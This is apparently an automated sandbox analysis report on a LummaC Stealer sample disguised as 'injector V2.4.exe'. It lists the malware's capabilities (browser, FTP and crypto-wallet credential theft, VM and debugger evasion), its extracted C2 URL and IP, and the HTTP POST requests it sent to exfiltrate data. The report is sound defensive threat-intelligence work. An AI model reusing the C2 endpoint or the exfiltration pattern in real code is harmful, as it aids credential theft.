Edit tour

Windows Analysis Report
injector V2.4.exe

Overview

General Information

Sample name:	injector V2.4.exe
Analysis ID:	1561470
MD5:	c1b5cae419a07b5bfeb4e958510f8637
SHA1:	80c99f320d7b74fb100b51cd98a2ff232e286e63
SHA256:	608864a20a91e6fcacefa06046a522a66dbfe45f3f94adfc32ed89ffcae29907
Tags:	exeuser-4k95m
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

injector V2.4.exe (PID: 5508 cmdline: "C:\Users\user\Desktop\injector V2.4.exe" MD5: C1B5CAE419A07B5BFEB4E958510F8637)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

injector V2.4.exe (PID: 5268 cmdline: "C:\Users\user\Desktop\injector V2.4.exe" MD5: C1B5CAE419A07B5BFEB4E958510F8637)

injector V2.4.exe (PID: 6564 cmdline: "C:\Users\user\Desktop\injector V2.4.exe" MD5: C1B5CAE419A07B5BFEB4E958510F8637)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--1285025705"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: injector V2.4.exe PID: 6564	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: injector V2.4.exe PID: 6564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: injector V2.4.exe PID: 6564	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:11.838507+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T14:11:13.918642+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T14:11:16.241595+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.33.116	443	TCP
2024-11-23T14:11:18.324378+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.33.116	443	TCP
2024-11-23T14:11:20.509084+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.33.116	443	TCP
2024-11-23T14:11:23.015197+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	104.21.33.116	443	TCP
2024-11-23T14:11:25.549686+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.33.116	443	TCP
2024-11-23T14:11:30.110285+0100	2028371	3	Unknown Traffic	192.168.2.5	49725	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:12.545091+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.116	443	TCP
2024-11-23T14:11:14.660934+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.116	443	TCP
2024-11-23T14:11:30.820317+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49725	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:12.545091+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:14.660934+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	104.21.33.116	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:19.090279+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49707	104.21.33.116	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T14:11:25.563296+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49711	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: injector V2.4.exe.6564.4.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "yau6Na--1285025705"}

Multi AV Scanner detection for submitted file

Source: injector V2.4.exe

ReversingLabs: Detection: 42%

Machine Learning detection for sample

Source: injector V2.4.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\injector V2.4.exe

Code function: 4_2_00418BE3 CryptUnprotectData,

4_2_00418BE3

Source: injector V2.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49725 version: TLS 1.2

Source: injector V2.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004DC72A FindFirstFileExW,	0_2_004DC72A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 0_2_004DC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_004DC7DB
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004DC72A FindFirstFileExW,	3_2_004DC72A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 3_2_004DC7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_004DC7DB

Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edi, edx	4_2_0043D880
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax-43h]	4_2_00420970
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi-000000BEh]	4_2_0040A10E
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00418BE3
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edx+2EBA049Dh]	4_2_0040CE5A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	4_2_00440620
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edi, esi	4_2_00440740
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then lea eax, dword ptr [esp+3Ch]	4_2_0040C7A5
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ecx, ebx	4_2_00439040
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042C84A
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edi, eax	4_2_0042CD62
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00429F62
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 1B6183F2h	4_2_00429813
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042C8DC
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [edi], cl	4_2_0042D0F6
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then add eax, edx	4_2_00426959
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	4_2_00426910
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042C918
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0042C929
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov bx, 0008h	4_2_00404930
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp ecx	4_2_00404930
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	4_2_004231F0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp dword ptr [00445ED4h]	4_2_0040B989
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp al, 5Ch	4_2_00402190
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi-40D3E74Fh]	4_2_0042A1A2
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000F0h]	4_2_0040DA43
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edx, ecx	4_2_0040EA4F
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+6FB81553h]	4_2_0041D201
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	4_2_0042BA10
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	4_2_00439290
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ecx, edx	4_2_00428A9C
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	4_2_00428A9C
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edi, esi	4_2_00425344
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	4_2_004298A8
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [edx], cl	4_2_0042D318
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edx, ebp	4_2_004393D0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [edx], cl	4_2_0042D380
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx edi, byte ptr [eax]	4_2_0042E388
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00423450
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_0042B450
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_0041AC64
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ebx, eax	4_2_00405C20
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ebp, eax	4_2_00405C20
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edx, eax	4_2_00440CD0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_004294BD
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edi, eax	4_2_0042CD67
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx eax, word ptr [ecx]	4_2_004395E9
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp ecx	4_2_0043DDF5
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp dword ptr [00447FC4h]	4_2_00427580
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-59BD808Dh]	4_2_00427580
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00427580
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp ecx	4_2_0043E5A6
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov edx, ecx	4_2_0042ADAB
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	4_2_0042ADAB
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov esi, ebx	4_2_00408E00
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_00435E10
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp dword ptr [00445ED4h]	4_2_0040B626
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-47412FB0h]	4_2_0041CED0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov byte ptr [edi], al	4_2_0041CED0
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ebx, edx	4_2_0040BEB1
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+14h]	4_2_00428F5D
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00429F62
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov ecx, eax	4_2_00422776
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then jmp dword ptr [00447FC4h]	4_2_00427774
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_00427774
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then movzx edx, byte ptr [edi+eax+7035CC0Ch]	4_2_0041DF00
Source: C:\Users\user\Desktop\injector V2.4.exe	Code function: 4x nop then mov esi, ecx	4_2_00421F10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49725 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49707 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49711 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: Joe Sandbox View

IP Address: 104.21.33.116 104.21.33.116

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49725 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.33.116:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HFRS7G1FUA8REUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12810Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=69CXXKCM4XW3VKJ8X0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TU3BSQD1V57Y1SYAPT6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20578Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=OCZ8RMO9L20OK5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1251Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Z4LE82AH15EL844SF6XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551200Host: property-imper.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: property-imper.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: property-imper.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: injector V2.4.exe, 00000004.00000003.2294286988.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2294509067.0000000002BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: injector V2.4.exe, 00000004.00000003.2177316206.00000000052D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: injector V2.4.exe, 00000004.00000003.2134677816.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134796623.00000000052F8000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134731743.00000000052F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: injector V2.4.exe, 00000004.00000003.2178397811.000000000534E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: injector V2.4.exe, 00000004.00000003.2241245492.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2178099039.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2134375818.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2202521642.0000000002C08000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000002.2295771988.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2176641373.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2176971631.00000000052C3000.00000004.00000800.00020000.00000000.sdmp, injector V2.4.exe, 00000004.00000003.2273721386.0000000002C1C000.00000004.00000020.00020000.00000000.sdmp, injector V2.4.exe, 